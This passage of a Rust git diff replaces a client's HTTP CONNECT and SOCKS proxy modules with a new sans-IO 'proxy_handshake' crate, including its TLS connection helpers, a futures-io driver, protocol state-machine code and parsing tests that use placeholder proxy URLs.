+    proxy_domain: &str,
+) -> Result<tokio_native_tls::TlsStream<TcpStream>> {
+    use tokio_native_tls::{TlsConnector, native_tls};
 
-    Some(((host, port), proxy_type))
+    let tls_connector = TlsConnector::from(native_tls::TlsConnector::new()?);
+    Ok(tls_connector.connect(proxy_domain, stream).await?)
 }
 
-pub(crate) trait AsyncReadWrite:
-    tokio::io::AsyncRead + tokio::io::AsyncWrite + Unpin + Send + 'static
-{
-}
-impl<T: tokio::io::AsyncRead + tokio::io::AsyncWrite + Unpin + Send + 'static> AsyncReadWrite
-    for T
-{
+#[cfg(not(any(target_os = "windows", target_os = "macos")))]
+async fn connect_tls_to_proxy(
+    stream: TcpStream,
+    proxy_domain: &str,
+) -> Result<tokio_rustls::client::TlsStream<TcpStream>> {
+    let proxy_domain = rustls_pki_types::ServerName::try_from(proxy_domain)
+        .context("invalid DNS name for proxy TLS")?
+        .to_owned();
+    let tls_connector =
+        tokio_rustls::TlsConnector::from(std::sync::Arc::new(http_client_tls::tls_config()));
+    Ok(tls_connector.connect(proxy_domain, stream).await?)
 }
diff --git a/crates/client/src/proxy/http_proxy.rs b/crates/client/src/proxy/http_proxy.rs
deleted file mode 100644
index f64c56b16ce527..00000000000000
--- a/crates/client/src/proxy/http_proxy.rs
+++ /dev/null
@@ -1,193 +0,0 @@
-use anyhow::{Context, Result};
-use base64::Engine;
-use httparse::{EMPTY_HEADER, Response};
-use tokio::{
-    io::{AsyncBufReadExt, AsyncWriteExt, BufStream},
-    net::TcpStream,
-};
-#[cfg(any(target_os = "windows", target_os = "macos"))]
-use tokio_native_tls::{TlsConnector, native_tls};
-#[cfg(not(any(target_os = "windows", target_os = "macos")))]
-use tokio_rustls::TlsConnector;
-use url::Url;
-
-use super::AsyncReadWrite;
-
-pub(super) enum HttpProxyType<'t> {
-    HTTP(Option<HttpProxyAuthorization<'t>>),
-    HTTPS(Option<HttpProxyAuthorization<'t>>),
-}
-
-pub(super) struct HttpProxyAuthorization<'t> {
-    username: &'t str,
-    password: &'t str,
-}
-
-pub(super) fn parse_http_proxy<'t>(scheme: &str, proxy: &'t Url) -> HttpProxyType<'t> {
-    let auth = proxy.password().map(|password| HttpProxyAuthorization {
-        username: proxy.username(),
-        password,
-    });
-    if scheme.starts_with("https") {
-        HttpProxyType::HTTPS(auth)
-    } else {
-        HttpProxyType::HTTP(auth)
-    }
-}
-
-pub(crate) async fn connect_http_proxy_stream(
-    stream: TcpStream,
-    http_proxy: HttpProxyType<'_>,
-    rpc_host: (&str, u16),
-    proxy_domain: &str,
-) -> Result<Box<dyn AsyncReadWrite>> {
-    match http_proxy {
-        HttpProxyType::HTTP(auth) => http_connect(stream, rpc_host, auth).await,
-        HttpProxyType::HTTPS(auth) => https_connect(stream, rpc_host, auth, proxy_domain).await,
-    }
-    .context("error connecting to http/https proxy")
-}
-
-async fn http_connect<T>(
-    stream: T,
-    target: (&str, u16),
-    auth: Option<HttpProxyAuthorization<'_>>,
-) -> Result<Box<dyn AsyncReadWrite>>
-where
-    T: AsyncReadWrite,
-{
-    let mut stream = BufStream::new(stream);
-    let request = make_request(target, auth);
-    stream.write_all(request.as_bytes()).await?;
-    stream.flush().await?;
-    check_response(&mut stream).await?;
-    Ok(Box::new(stream))
-}
-
-#[cfg(any(target_os = "windows", target_os = "macos"))]
-async fn https_connect<T>(
-    stream: T,
-    target: (&str, u16),
-    auth: Option<HttpProxyAuthorization<'_>>,
-    proxy_domain: &str,
-) -> Result<Box<dyn AsyncReadWrite>>
-where
-    T: AsyncReadWrite,
-{
-    let tls_connector = TlsConnector::from(native_tls::TlsConnector::new()?);
-    let stream = tls_connector.connect(proxy_domain, stream).await?;
-    http_connect(stream, target, auth).await
-}
-
-#[cfg(not(any(target_os = "windows", target_os = "macos")))]
-async fn https_connect<T>(
-    stream: T,
-    target: (&str, u16),
-    auth: Option<HttpProxyAuthorization<'_>>,
-    proxy_domain: &str,
-) -> Result<Box<dyn AsyncReadWrite>>
-where
-    T: AsyncReadWrite,
-{
-    let proxy_domain = rustls_pki_types::ServerName::try_from(proxy_domain)
-        .context("Address resolution failed")?
-        .to_owned();
-    let tls_connector = TlsConnector::from(std::sync::Arc::new(http_client_tls::tls_config()));
-    let stream = tls_connector.connect(proxy_domain, stream).await?;
-    http_connect(stream, target, auth).await
-}
-
-fn make_request(target: (&str, u16), auth: Option<HttpProxyAuthorization<'_>>) -> String {
-    let (host, port) = target;
-    let mut request = format!(
-        "CONNECT {host}:{port} HTTP/1.1\r\nHost: {host}:{port}\r\nProxy-Connection: Keep-Alive\r\n"
-    );
-    if let Some(HttpProxyAuthorization { username, password }) = auth {
-        let auth =
-            base64::prelude::BASE64_STANDARD.encode(format!("{username}:{password}").as_bytes());
-        let auth = format!("Proxy-Authorization: Basic {auth}\r\n");
-        request.push_str(&auth);
-    }
-    request.push_str("\r\n");
-    request
-}
-
-async fn check_response<T>(stream: &mut BufStream<T>) -> Result<()>
-where
-    T: AsyncReadWrite,
-{
-    let response = recv_response(stream).await?;
-    let mut dummy_headers = [EMPTY_HEADER; MAX_RESPONSE_HEADERS];
-    let mut parser = Response::new(&mut dummy_headers);
-    parser.parse(response.as_bytes())?;
-
-    match parser.code {
-        Some(code) => {
-            if code == 200 {
-                Ok(())
-            } else {
-                Err(anyhow::anyhow!(
-                    "Proxy connection failed with HTTP code: {code}"
-                ))
-            }
-        }
-        None => Err(anyhow::anyhow!(
-            "Proxy connection failed with no HTTP code: {}",
-            parser.reason.unwrap_or("Unknown reason")
-        )),
-    }
-}
-
-const MAX_RESPONSE_HEADER_LENGTH: usize = 4096;
-const MAX_RESPONSE_HEADERS: usize = 16;
-
-async fn recv_response<T>(stream: &mut BufStream<T>) -> Result<String>
-where
-    T: AsyncReadWrite,
-{
-    let mut response = String::new();
-    loop {
-        if stream.read_line(&mut response).await? == 0 {
-            return Err(anyhow::anyhow!("End of stream"));
-        }
-
-        if MAX_RESPONSE_HEADER_LENGTH < response.len() {
-            return Err(anyhow::anyhow!("Maximum response header length exceeded"));
-        }
-
-        if response.ends_with("\r\n\r\n") {
-            return Ok(response);
-        }
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use url::Url;
-
-    use super::{HttpProxyAuthorization, HttpProxyType, parse_http_proxy};
-
-    #[test]
-    fn test_parse_http_proxy() {
-        let proxy = Url::parse("http://proxy.example.com:1080").unwrap();
-        let scheme = proxy.scheme();
-
-        let version = parse_http_proxy(scheme, &proxy);
-        assert!(matches!(version, HttpProxyType::HTTP(None)))
-    }
-
-    #[test]
-    fn test_parse_http_proxy_with_auth() {
-        let proxy = Url::parse("http://username:password@proxy.example.com:1080").unwrap();
-        let scheme = proxy.scheme();
-
-        let version = parse_http_proxy(scheme, &proxy);
-        assert!(matches!(
-            version,
-            HttpProxyType::HTTP(Some(HttpProxyAuthorization {
-                username: "username",
-                password: "password"
-            }))
-        ))
-    }
-}
diff --git a/crates/client/src/proxy/socks_proxy.rs b/crates/client/src/proxy/socks_proxy.rs
deleted file mode 100644
index bf2a5eab627cba..00000000000000
--- a/crates/client/src/proxy/socks_proxy.rs
+++ /dev/null
@@ -1,226 +0,0 @@
-//! socks proxy
-
-use anyhow::{Context as _, Result};
-use http_client::Url;
-use tokio::net::TcpStream;
-use tokio_socks::{
-    IntoTargetAddr, TargetAddr,
-    tcp::{Socks4Stream, Socks5Stream},
-};
-
-use super::AsyncReadWrite;
-
-/// Identification to a Socks V4 Proxy
-pub(super) struct Socks4Identification<'a> {
-    user_id: &'a str,
-}
-
-/// Authorization to a Socks V5 Proxy
-pub(super) struct Socks5Authorization<'a> {
-    username: &'a str,
-    password: &'a str,
-}
-
-/// Socks Proxy Protocol Version
-///
-/// V4 allows identification using a user_id
-/// V5 allows authorization using a username and password
-pub(super) enum SocksVersion<'a> {
-    V4 {
-        local_dns: bool,
-        identification: Option<Socks4Identification<'a>>,
-    },
-    V5 {
-        local_dns: bool,
-        authorization: Option<Socks5Authorization<'a>>,
-    },
-}
-
-pub(super) fn parse_socks_proxy<'t>(scheme: &str, proxy: &'t Url) -> SocksVersion<'t> {
-    if scheme.starts_with("socks4") {
-        let identification = match proxy.username() {
-            "" => None,
-            username => Some(Socks4Identification { user_id: username }),
-        };
-        SocksVersion::V4 {
-            local_dns: scheme != "socks4a",
-            identification,
-        }
-    } else {
-        let authorization = proxy.password().map(|password| Socks5Authorization {
-            username: proxy.username(),
-            password,
-        });
-        SocksVersion::V5 {
-            local_dns: scheme != "socks5h",
-            authorization,
-        }
-    }
-}
-
-pub(super) async fn connect_socks_proxy_stream(
-    stream: TcpStream,
-    socks_version: SocksVersion<'_>,
-    rpc_host: (&str, u16),
-) -> Result<Box<dyn AsyncReadWrite>> {
-    let rpc_host = rpc_host
-        .into_target_addr()
-        .context("Failed to parse target addr")?;
-
-    let local_dns = match &socks_version {
-        SocksVersion::V4 { local_dns, .. } => local_dns,
-        SocksVersion::V5 { local_dns, .. } => local_dns,
-    };
-    let rpc_host = match (rpc_host, local_dns) {
-        (TargetAddr::Domain(domain, port), true) => {
-            let ip_addr = tokio::net::lookup_host((domain.as_ref(), port))
-                .await
-                .with_context(|| format!("Failed to lookup domain {}", domain))?
-                .next()
-                .ok_or_else(|| anyhow::anyhow!("Failed to lookup domain {}", domain))?;
-            TargetAddr::Ip(ip_addr)
-        }
-        (rpc_host, _) => rpc_host,
-    };
-
-    match socks_version {
-        SocksVersion::V4 {
-            identification: None,
-            ..
-        } => {
-            let socks = Socks4Stream::connect_with_socket(stream, rpc_host)
-                .await
-                .context("error connecting to socks")?;
-            Ok(Box::new(socks))
-        }
-        SocksVersion::V4 {
-            identification: Some(Socks4Identification { user_id }),
-            ..
-        } => {
-            let socks = Socks4Stream::connect_with_userid_and_socket(stream, rpc_host, user_id)
-                .await
-                .context("error connecting to socks")?;
-            Ok(Box::new(socks))
-        }
-        SocksVersion::V5 {
-            authorization: None,
-            ..
-        } => {
-            let socks = Socks5Stream::connect_with_socket(stream, rpc_host)
-                .await
-                .context("error connecting to socks")?;
-            Ok(Box::new(socks))
-        }
-        SocksVersion::V5 {
-            authorization: Some(Socks5Authorization { username, password }),
-            ..
-        } => {
-            let socks = Socks5Stream::connect_with_password_and_socket(
-                stream, rpc_host, username, password,
-            )
-            .await
-            .context("error connecting to socks")?;
-            Ok(Box::new(socks))
-        }
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use url::Url;
-
-    use super::*;
-
-    #[test]
-    fn parse_socks4() {
-        let proxy = Url::parse("socks4://proxy.example.com:1080").unwrap();
-        let scheme = proxy.scheme();
-
-        let version = parse_socks_proxy(scheme, &proxy);
-        assert!(matches!(
-            version,
-            SocksVersion::V4 {
-                local_dns: true,
-                identification: None
-            }
-        ))
-    }
-
-    #[test]
-    fn parse_socks4_with_identification() {
-        let proxy = Url::parse("socks4://userid@proxy.example.com:1080").unwrap();
-        let scheme = proxy.scheme();
-
-        let version = parse_socks_proxy(scheme, &proxy);
-        assert!(matches!(
-            version,
-            SocksVersion::V4 {
-                local_dns: true,
-                identification: Some(Socks4Identification { user_id: "userid" })
-            }
-        ))
-    }
-
-    #[test]
-    fn parse_socks4_with_remote_dns() {
-        let proxy = Url::parse("socks4a://proxy.example.com:1080").unwrap();
-        let scheme = proxy.scheme();
-
-        let version = parse_socks_proxy(scheme, &proxy);
-        assert!(matches!(
-            version,
-            SocksVersion::V4 {
-                local_dns: false,
-                identification: None
-            }
-        ))
-    }
-
-    #[test]
-    fn parse_socks5() {
-        let proxy = Url::parse("socks5://proxy.example.com:1080").unwrap();
-        let scheme = proxy.scheme();
-
-        let version = parse_socks_proxy(scheme, &proxy);
-        assert!(matches!(
-            version,
-            SocksVersion::V5 {
-                local_dns: true,
-                authorization: None
-            }
-        ))
-    }
-
-    #[test]
-    fn parse_socks5_with_authorization() {
-        let proxy = Url::parse("socks5://username:password@proxy.example.com:1080").unwrap();
-        let scheme = proxy.scheme();
-
-        let version = parse_socks_proxy(scheme, &proxy);
-        assert!(matches!(
-            version,
-            SocksVersion::V5 {
-                local_dns: true,
-                authorization: Some(Socks5Authorization {
-                    username: "username",
-                    password: "password"
-                })
-            }
-        ))
-    }
-
-    #[test]
-    fn parse_socks5_with_remote_dns() {
-        let proxy = Url::parse("socks5h://proxy.example.com:1080").unwrap();
-        let scheme = proxy.scheme();
-
-        let version = parse_socks_proxy(scheme, &proxy);
-        assert!(matches!(
-            version,
-            SocksVersion::V5 {
-                local_dns: false,
-                authorization: None
-            }
-        ))
-    }
-}
diff --git a/crates/proxy_handshake/Cargo.toml b/crates/proxy_handshake/Cargo.toml
new file mode 100644
index 00000000000000..6ea582ab5878af
--- /dev/null
+++ b/crates/proxy_handshake/Cargo.toml
@@ -0,0 +1,34 @@
+[package]
+name = "proxy_handshake"
+version = "0.1.0"
+edition.workspace = true
+publish.workspace = true
+license = "Apache-2.0"
+description = "Sans-IO client handshakes for HTTP CONNECT and SOCKS proxies"
+
+[lints]
+workspace = true
+
+[lib]
+path = "src/proxy_handshake.rs"
+doctest = true
+
+[features]
+default = []
+futures-io = ["dep:futures"]
+tokio = ["dep:tokio"]
+
+[dependencies]
+base64.workspace = true
+futures = { workspace = true, optional = true }
+httparse.workspace = true
+percent-encoding.workspace = true
+thiserror.workspace = true
+tokio = { workspace = true, features = ["io-util"], optional = true }
+url.workspace = true
+
+[dev-dependencies]
+futures.workspace = true
+piper.workspace = true
+proptest.workspace = true
+tokio = { workspace = true, features = ["io-util", "macros", "rt"] }
diff --git a/crates/proxy_handshake/LICENSE-APACHE b/crates/proxy_handshake/LICENSE-APACHE
new file mode 120000
index 00000000000000..1cd601d0a3affa
--- /dev/null
+++ b/crates/proxy_handshake/LICENSE-APACHE
@@ -0,0 +1 @@
+../../LICENSE-APACHE
\ No newline at end of file
diff --git a/crates/proxy_handshake/src/futures_io.rs b/crates/proxy_handshake/src/futures_io.rs
new file mode 100644
index 00000000000000..dc1107ab7786bf
--- /dev/null
+++ b/crates/proxy_handshake/src/futures_io.rs
@@ -0,0 +1,191 @@
+//! A driver that runs a [`Handshake`] over [`futures`] I/O traits.
+
+use std::io;
+use std::pin::Pin;
+use std::task::{Context, Poll};
+
+use futures::io::{AsyncRead, AsyncReadExt as _, AsyncWrite, AsyncWriteExt as _};
+
+use crate::{EstablishError, Handshake, ProxySpec, Step, Target};
+
+/// Runs the proxy handshake over `stream` and returns the tunneled stream.
+///
+/// The stream must already be connected to the proxy (and wrapped in TLS if
+/// [`ProxySpec::tls`] asks for it). See [`Handshake::new`] for how `target`
+/// interacts with DNS resolution.
+pub async fn establish<S>(
+    mut stream: S,
+    spec: &ProxySpec,
+    target: &Target,
+) -> Result<Tunneled<S>, EstablishError>
+where
+    S: AsyncRead + AsyncWrite + Unpin,
+{
+    let mut handshake = Handshake::new(spec, target)?;
+    let mut buffer = [0u8; 4096];
+    let mut received_length = 0;
+    loop {
+        let step = handshake.advance(&buffer[..received_length])?;
+        received_length = 0;
+        match step {
+            Step::Send(bytes) => {
+                stream.write_all(&bytes).await?;
+                stream.flush().await?;
+            }
+            Step::NeedMoreInput => {
+                received_length = stream.read(&mut buffer).await?;
+                if received_length == 0 {
+                    return Err(EstablishError::Io(io::ErrorKind::UnexpectedEof.into()));
+                }
+            }
+            Step::Done { leftover } => {
+                return Ok(Tunneled {
+                    leftover,
+                    offset: 0,
+                    stream,
+                });
+            }
+        }
+    }
+}
+
+/// A tunneled stream returned by [`establish`]: replays the handshake's
+/// leftover bytes before reading from the underlying transport. Writes pass
+/// straight through.
+pub struct Tunneled<S> {
+    leftover: Vec<u8>,
+    offset: usize,
+    stream: S,
+}
+
+impl<S: AsyncRead + Unpin> AsyncRead for Tunneled<S> {
+    fn poll_read(
+        self: Pin<&mut Self>,
+        cx: &mut Context<'_>,
+        buf: &mut [u8],
+    ) -> Poll<io::Result<usize>> {
+        let this = self.get_mut();
+        if this.offset < this.leftover.len() {
+            let remaining = &this.leftover[this.offset..];
+            let length = remaining.len().min(buf.len());
+            buf[..length].copy_from_slice(&remaining[..length]);
+            this.offset += length;
+            if this.offset == this.leftover.len() {
+                this.leftover = Vec::new();
+                this.offset = 0;
+            }
+            return Poll::Ready(Ok(length));
+        }
+        Pin::new(&mut this.stream).poll_read(cx, buf)
+    }
+}
+
+impl<S: AsyncWrite + Unpin> AsyncWrite for Tunneled<S> {
+    fn poll_write(
+        self: Pin<&mut Self>,
+        cx: &mut Context<'_>,
+        buf: &[u8],
+    ) -> Poll<io::Result<usize>> {
+        Pin::new(&mut self.get_mut().stream).poll_write(cx, buf)
+    }
+
+    fn poll_flush(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<io::Result<()>> {
+        Pin::new(&mut self.get_mut().stream).poll_flush(cx)
+    }
+
+    fn poll_close(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<io::Result<()>> {
+        Pin::new(&mut self.get_mut().stream).poll_close(cx)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use futures::executor::block_on;
+    use futures::join;
+
+    use super::*;
+
+    #[test]
+    fn establishes_http_tunnel_and_preserves_leftover() {
+        let (client, mut server) = duplex();
+        let spec = ProxySpec::parse(&"http://proxy:8080".parse().unwrap()).unwrap();
+        let target = Target::Domain("cloud.example.com".to_string(), 443);
+        block_on(async {
+            join!(
+                async {
+                    let mut stream = establish(client, &spec, &target).await.unwrap();
+                    let mut buffer = [0u8; 12];
+                    stream.read_exact(&mut buffer).await.unwrap();
+                    assert_eq!(&buffer, b"early-tunnel");
+                    stream.write_all(b"hello").await.unwrap();
+                    stream.flush().await.unwrap();
+                },
+                async {
+                    let mut head = Vec::new();
+                    let mut byte = [0u8; 1];
+                    while !head.ends_with(b"\r\n\r\n") {
+                        server.read_exact(&mut byte).await.unwrap();
+                        head.push(byte[0]);
+                    }
+                    // Send the response and some tunnel bytes in one write so
+                    // the driver has to hand them back through `leftover`.
+                    server
+                        .write_all(b"HTTP/1.1 200 OK\r\n\r\nearly-tunnel")
+                        .await
+                        .unwrap();
+                    let mut buffer = [0u8; 5];
+                    server.read_exact(&mut buffer).await.unwrap();
+                    assert_eq!(&buffer, b"hello");
+                },
+            );
+        });
+    }
+
+    fn duplex() -> (PipeStream, PipeStream) {
+        let (client_reader, server_writer) = piper::pipe(1024);
+        let (server_reader, client_writer) = piper::pipe(1024);
+        (
+            PipeStream {
+                reader: client_reader,
+                writer: client_writer,
+            },
+            PipeStream {
+                reader: server_reader,
+                writer: server_writer,
+            },
+        )
+    }
+
+    struct PipeStream {
+        reader: piper::Reader,
+        writer: piper::Writer,
+    }
+
+    impl AsyncRead for PipeStream {
+        fn poll_read(
+            self: Pin<&mut Self>,
+            cx: &mut Context<'_>,
+            buf: &mut [u8],
+        ) -> Poll<io::Result<usize>> {
+            Pin::new(&mut self.get_mut().reader).poll_read(cx, buf)
+        }
+    }
+
+    impl AsyncWrite for PipeStream {
+        fn poll_write(
+            self: Pin<&mut Self>,
+            cx: &mut Context<'_>,
+            buf: &[u8],
+        ) -> Poll<io::Result<usize>> {
+            Pin::new(&mut self.get_mut().writer).poll_write(cx, buf)
+        }
+
+        fn poll_flush(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<io::Result<()>> {
+            Pin::new(&mut self.get_mut().writer).poll_flush(cx)
+        }
+
+        fn poll_close(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<io::Result<()>> {
+            Pin::new(&mut self.get_mut().writer).poll_close(cx)
+        }
+    }
+}
diff --git a/crates/proxy_handshake/src/handshake.rs b/crates/proxy_handshake/src/handshake.rs
new file mode 100644
index 00000000000000..233e420d9c90f0
--- /dev/null
+++ b/crates/proxy_handshake/src/handshake.rs
@@ -0,0 +1,708 @@
+//! The sans-IO proxy handshake state machine.
+
+use std::collections::VecDeque;
+use std::net::{IpAddr, SocketAddr};
+
+use base64::Engine as _;
+
+use crate::{Credentials, MAX_HTTP_RESPONSE_LENGTH, ProxyError, ProxyScheme, ProxySpec, Target};
+
+const MAX_HTTP_RESPONSE_HEADERS: usize = 64;
+
+const SOCKS4_VERSION: u8 = 0x04;
+const SOCKS5_VERSION: u8 = 0x05;
+const SOCKS_COMMAND_CONNECT: u8 = 0x01;
+const SOCKS4_REPLY_GRANTED: u8 = 0x5A;
+const SOCKS5_METHOD_NO_AUTHENTICATION: u8 = 0x00;
+const SOCKS5_METHOD_USERNAME_PASSWORD: u8 = 0x02;
+const SOCKS5_ADDRESS_IPV4: u8 = 0x01;
+const SOCKS5_ADDRESS_DOMAIN: u8 = 0x03;
+const SOCKS5_ADDRESS_IPV6: u8 = 0x04;
+
+/// A proxy handshake in progress.
+///
+/// Sans-IO: the handshake never performs I/O itself. Drive it by calling
+/// [`advance`](Self::advance) with bytes received from the proxy and acting
+/// on the returned [`Step`]s until it reports [`Step::Done`].
+pub struct Handshake {
+    exchanges: VecDeque<Exchange>,
+    input: Vec<u8>,
+}
+
+/// What the caller must do next to make progress on the handshake.
+#[derive(Debug, PartialEq, Eq)]
+pub enum Step {
+    /// Write these bytes to the proxy.
+    Send(Vec<u8>),
+    /// Read more bytes from the proxy and pass them to the next `advance`.
+    NeedMoreInput,
+    /// The tunnel is established. `leftover` holds any bytes the proxy sent
+    /// past the end of the handshake; they belong to the tunneled stream and
+    /// must be consumed before reading from the transport again.
+    Done { leftover: Vec<u8> },
+}
+
+enum Exchange {
+    Send(Vec<u8>),
+    Expect(Expectation),
+}
+
+enum Expectation {
+    HttpResponseHead,
+    Socks5MethodSelection { offered: u8 },
+    Socks5AuthReply,
+    Socks5ConnectReply,
+    Socks4ConnectReply,
+}
+
+impl Handshake {
+    /// Plans the handshake for tunneling to `target` through the proxy
+    /// described by `spec`.
+    ///
+    /// Passing a [`Target::Domain`] delegates DNS resolution to the proxy
+    /// regardless of scheme (SOCKS4 proxies are sent the 4a extension);
+    /// resolve the host locally and pass a [`Target::Address`] when
+    /// [`ProxySpec::remote_dns`] is false, to follow the proxy URL's intent.
+    pub fn new(spec: &ProxySpec, target: &Target) -> Result<Self, ProxyError> {
+        // The domain is spliced into protocol messages (the CONNECT request
+        // line, NUL-terminated SOCKS4a fields), so control bytes would let a
+        // hostile target string forge protocol structure. No valid host name
+        // contains them; fail closed rather than trusting the caller to have
+        // validated.
+        if let Target::Domain(domain, _) = target
+            && domain
+                .bytes()
+                .any(|byte| byte.is_ascii_control() || byte == 0x7F)
+        {
+            return Err(ProxyError::DomainContainsControlBytes);
+        }
+
+        let mut exchanges = VecDeque::new();
+        match spec.scheme {
+            ProxyScheme::Http { .. } => {
+                exchanges.push_back(Exchange::Send(http_connect_request(
+                    target,
+                    spec.credentials.as_ref(),
+                )));
+                exchanges.push_back(Exchange::Expect(Expectation::HttpResponseHead));
+            }
+            ProxyScheme::Socks4 { .. } => {
+                exchanges.push_back(Exchange::Send(socks4_connect_request(
+                    target,
+                    spec.credentials.as_ref(),
+                )?));
+                exchanges.push_back(Exchange::Expect(Expectation::Socks4ConnectReply));
+            }
+            ProxyScheme::Socks5 { .. } => {
+                let method = if spec.credentials.is_some() {
+                    SOCKS5_METHOD_USERNAME_PASSWORD
+                } else {
+                    SOCKS5_METHOD_NO_AUTHENTICATION
+                };
+                exchanges.push_back(Exchange::Send(vec![SOCKS5_VERSION, 1, method]));
+                exchanges.push_back(Exchange::Expect(Expectation::Socks5MethodSelection {
+                    offered: method,
+                }));
+                if let Some(credentials) = &spec.credentials {
+                    exchanges.push_back(Exchange::Send(socks5_auth_request(credentials)?));
+                    exchanges.push_back(Exchange::Expect(Expectation::Socks5AuthReply));
+                }
+                exchanges.push_back(Exchange::Send(socks5_connect_request(target)?));
+                exchanges.push_back(Exchange::Expect(Expectation::Socks5ConnectReply));
+            }
+        }
+        Ok(Self {
+            exchanges,
+            input: Vec::new(),
+        })
+    }
+
+    /// Advances the state machine with bytes newly received from the proxy
+    /// (empty on the first call, and whenever there is nothing new to feed).
+    ///
+    /// Callers must not feed the same bytes twice: partial input is buffered
+    /// internally until it can be parsed.
+    pub fn advance(&mut self, received: &[u8]) -> Result<Step, ProxyError> {
+        self.input.extend_from_slice(received);
+        loop {
+            match self.exchanges.pop_front() {
+                None => {
+                    return Ok(Step::Done {
+                        leftover: std::mem::take(&mut self.input),
+                    });
+                }
+                Some(Exchange::Send(bytes)) => return Ok(Step::Send(bytes)),
+                Some(Exchange::Expect(expectation)) => {
+                    match try_parse(&expectation, &self.input)? {
+                        Some(consumed) => {
+                            self.input.drain(..consumed);
+                        }
+                        None => {
+                            self.exchanges.push_front(Exchange::Expect(expectation));
+                            return Ok(Step::NeedMoreInput);
+                        }
+                    }
+                }
+            }
+        }
+    }
+}
+
+/// Attempts to parse one expected proxy message from the buffered input.
+/// Returns the number of bytes consumed, or `None` when more input is needed.
+fn try_parse(expectation: &Expectation, input: &[u8]) -> Result<Option<usize>, ProxyError> {
+    match expectation {
+        Expectation::HttpResponseHead => parse_http_response_head(input),
+        Expectation::Socks5MethodSelection { offered } => {
+            let Some(reply) = input.get(..2) else {
+                return Ok(None);
+            };
+            if reply[0] != SOCKS5_VERSION {
+                return Err(ProxyError::UnexpectedSocksVersion(reply[0]));
+            }
+            if reply[1] != *offered {
+                return Err(ProxyError::AuthMethodRejected { selected: reply[1] });
+            }
+            Ok(Some(2))
+        }
+        Expectation::Socks5AuthReply => {
+            let Some(reply) = input.get(..2) else {
+                return Ok(None);
+            };
+            // RFC 1929: any non-zero status is failure.
+            if reply[1] != 0x00 {
+                return Err(ProxyError::AuthenticationFailed);
+            }
+            Ok(Some(2))
+        }
+        Expectation::Socks5ConnectReply => {
+            let Some(header) = input.get(..4) else {
+                return Ok(None);
+            };
+            if header[0] != SOCKS5_VERSION {
+                return Err(ProxyError::UnexpectedSocksVersion(header[0]));
+            }
+            if header[1] != 0x00 {
+                return Err(ProxyError::Socks5ConnectRefused(header[1]));
+            }
+            let address_length = match header[3] {
+                SOCKS5_ADDRESS_IPV4 => 4,
+                SOCKS5_ADDRESS_IPV6 => 16,
+                SOCKS5_ADDRESS_DOMAIN => match input.get(4) {
+                    Some(length) => 1 + *length as usize,
+                    None => return Ok(None),
+                },
+                other => return Err(ProxyError::UnknownAddressType(other)),
+            };
+            // The reply's bound address and port only matter for BIND, so
+            // they are consumed and discarded.
+            let total = 4 + address_length + 2;
+            if input.len() < total {
+                return Ok(None);
+            }
+            Ok(Some(total))
+        }
+        Expectation::Socks4ConnectReply => {
+            if input.len() < 8 {
+                return Ok(None);
+            }
+            if input[1] != SOCKS4_REPLY_GRANTED {
+                return Err(ProxyError::Socks4ConnectRefused(input[1]));
+            }
+            Ok(Some(8))
+        }
+    }
+}
+
+fn parse_http_response_head(input: &[u8]) -> Result<Option<usize>, ProxyError> {
+    let mut headers = [httparse::EMPTY_HEADER; MAX_HTTP_RESPONSE_HEADERS];
+    let mut response = httparse::Response::new(&mut headers);
+    match response.parse(input) {
+        Ok(httparse::Status::Complete(consumed)) => {
+            // The cap applies to complete heads too: a driver that reads in
+            // large chunks could otherwise hand a well-formed multi-megabyte
+            // head to a single `advance` and have it accepted.
+            if consumed > MAX_HTTP_RESPONSE_LENGTH {
+                return Err(ProxyError::HttpResponseTooLarge);
+            }
+            let code = response.code.ok_or_else(|| {
+                ProxyError::MalformedHttpResponse("missing status code".to_string())
+            })?;
+            if !(200..300).contains(&code) {
+                return Err(ProxyError::HttpConnectRefused(code));
+            }
+            Ok(Some(consumed))
+        }
+        Ok(httparse::Status::Partial) => {
+            if input.len() > MAX_HTTP_RESPONSE_LENGTH {
+                Err(ProxyError::HttpResponseTooLarge)
+            } else {
+                Ok(None)
+            }
+        }
+        Err(error) => Err(ProxyError::MalformedHttpResponse(error.to_string())),
+    }
+}
+
+fn http_connect_request(target: &Target, credentials: Option<&Credentials>) -> Vec<u8> {
+    let host = match target {
+        Target::Domain(domain, port) => format!("{domain}:{port}"),
+        // `SocketAddr`'s `Display` brackets IPv6 addresses, matching the
+        // `host:port` form CONNECT requires.
+        Target::Address(address) => address.to_string(),
+    };
+    let mut request =
+        format!("CONNECT {host} HTTP/1.1\r\nHost: {host}\r\nProxy-Connection: Keep-Alive\r\n");
+    if let Some(Credentials { username, password }) = credentials {
+        let encoded = base64::prelude::BASE64_STANDARD.encode(format!("{username}:{password}"));
+        request.push_str(&format!("Proxy-Authorization: Basic {encoded}\r\n"));
+    }
+    request.push_str("\r\n");
+    request.into_bytes()
+}
+
+fn socks5_auth_request(credentials: &Credentials) -> Result<Vec<u8>, ProxyError> {
+    let username = credentials.username.as_bytes();
+    let password = credentials.password.as_bytes();
+    if username.len() > 255 || password.len() > 255 {
+        return Err(ProxyError::CredentialsTooLong);
+    }
+    let mut request = Vec::with_capacity(3 + username.len() + password.len());
+    // RFC 1929 subnegotiation version.
+    request.push(0x01);
+    request.push(username.len() as u8);
+    request.extend_from_slice(username);
+    request.push(password.len() as u8);
+    request.extend_from_slice(password);
+    Ok(request)
+}
+
+fn socks5_connect_request(target: &Target) -> Result<Vec<u8>, ProxyError> {
+    let mut request = vec![SOCKS5_VERSION, SOCKS_COMMAND_CONNECT, 0x00];
+    let port = match target {
+        Target::Domain(domain, port) => {
+            let domain = domain.as_bytes();
+            if domain.len() > 255 {
+                return Err(ProxyError::DomainTooLong);
+            }
+            request.push(SOCKS5_ADDRESS_DOMAIN);
+            request.push(domain.len() as u8);
+            request.extend_from_slice(domain);
+            *port
+        }
+        Target::Address(address) => {
+            match address.ip() {
+                IpAddr::V4(ip) => {
+                    request.push(SOCKS5_ADDRESS_IPV4);
+                    request.extend_from_slice(&ip.octets());
+                }
+                IpAddr::V6(ip) => {
+                    request.push(SOCKS5_ADDRESS_IPV6);
+                    request.extend_from_slice(&ip.octets());
+                }
+            }
+            address.port()
+        }
+    };
